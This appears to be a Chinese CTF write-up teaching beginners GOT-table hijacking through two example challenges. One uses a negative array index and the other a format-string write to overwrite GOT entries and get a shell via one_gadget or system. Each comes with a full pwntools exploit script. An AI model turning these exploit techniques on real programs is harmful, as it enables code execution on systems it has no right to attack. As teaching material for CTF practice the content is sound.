其实修改got表大部分情况下都是作为解题过程的一环节,这里我简单总结这类题目的做法
.got.plt 相当于.plt的GOT全局偏移表,它存放的就是外部函数的入口地址。也就是说,如果我们将这个函数的地址改成另外一个函数的地址,当程序调用该函数时,实际上会调用到另外一个函数。
检查一下保护
RELRO:Partial RELRO-->got表可修改
ida
运行程序
可以看到输入负数也可以,确定有数组越界
可以看到.got.plt表离bss段的距离比较近,所以考虑用数组越界写来改变.got.plt表
seat的地址为0x4040A0
exit的.got.plt表的地址为0x404040
exit在seat的低地址处,正好用负数来覆写
两者之差为96,96/16=6,所以用-6可以改变exit
把exit改成_start后可以实现程序的无限循环
同时我们可以知道exit与read地址相差16
read函数的后三位为fc0,后三位是不会变的
所以写入\xc0不改变read的地址
然后就可以接收到read的真实地址
one_gadget libc-2.31.so
收到后用one_gadget搜索一下可用的shell
然后写入-6把退出变成执行og就行了
exp
import os import sys import time from pwn import * from ctypes import * context.os = 'linux' context.log_level = "debug" #context(os = 'linux',log_level = "debug",arch = 'amd64') s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] x64_32 = 1 if x64_32: context.arch = 'amd64' else: context.arch = 'i386' #p=remote('node5.anna.nssctf.cn',28573) p=process('./pwn') elf = ELF('./pwn') libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so') start=elf.sym["_start"] ru('one.\n') sl('-6') ru("name\n") s(p64(start)) #duan() ru('one.\n') sl('-7') ru("name\n") s('\xc0') r(13) read_addr=u64(r(6).ljust(8,b'\x00')) libc_base=read_addr-libc.symbols['read'] leak('libc_base ',libc_base) ogs=[0xe3afe,0xe3b01,0xe3b04] og=libc_base+ogs[1] ru('one.\n') sl('-6') ru("name\n") s(p64(og)) itr()
这里也是可以修改got表
ida
msg可以控制,所以可以直接修改got表去做这个题
思路
首先输入两个相同的数据去进入
read(0, msg, 0x10uLL);
然后就利用无线循环的格式化字符串去泄露地址
这里我们去利用这个修改这个地址为puts的got表的地址
然后先改个地址,把这个位置写上去
sla('start','%'+str(addr1)+'c%15$hn')
然后我们去找下面这个偏移,去修改成got表
sla('start','%'+str(0x4020)+'c%43$hn')
然后就是先修改2个字节,再错位改一下got表地址
sla('start','%'+str(system1)+'c%18$hn') sla('start','%'+str(0x4022)+'c%43$hn')
然后再改一字节,就成功改完了
sla('start','%'+str(system2)+'c%18$hhn')
然后这个题目就解出来了
exp
import os import sys import time from pwn import * from ctypes import * context.os = 'linux' context.log_level = "debug" context(os = 'linux',log_level = "debug",arch = 'amd64') s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] x64_32 = 1 if x64_32: context.arch = 'amd64' else: context.arch = 'i386' p=process('./pwn') elf = ELF('./pwn') libc=ELF('./libc.so.6') def duan(): gdb.attach(p) pause() ru('username:\n') sl(p64(0x404020)) ru('password:\n') sl(p64(0x404020)) sl('/bin/sh\x00') ru('start') sl('%15$p-%13$p') ret=int(r(14),16)-0xc8 leak('ret ',ret) ru('-') libc_base=int(r(14),16)-0x24083 leak('libc_base ',libc_base) system = libc_base + libc.sym['system'] system1 = system&0xffff system2 = (system>>16)&0xff addr1=ret&0xffff leak('addr1 ',addr1) leak('system ',system) sla('start','%'+str(addr1)+'c%15$hn') sla('start','%'+str(0x4020)+'c%43$hn') sla('start','%'+str(system1)+'c%18$hn') sla('start','%'+str(0x4022)+'c%43$hn') #duan() sla('start','%'+str(system2)+'c%18$hhn') sla('start','exit') itr()
劫持GOT表不是一种独立的方法,要配合其他的漏洞进行利用,这里我配合着例题对这种利用方式进行了详细的解析,希望能够帮到正在入门的师傅们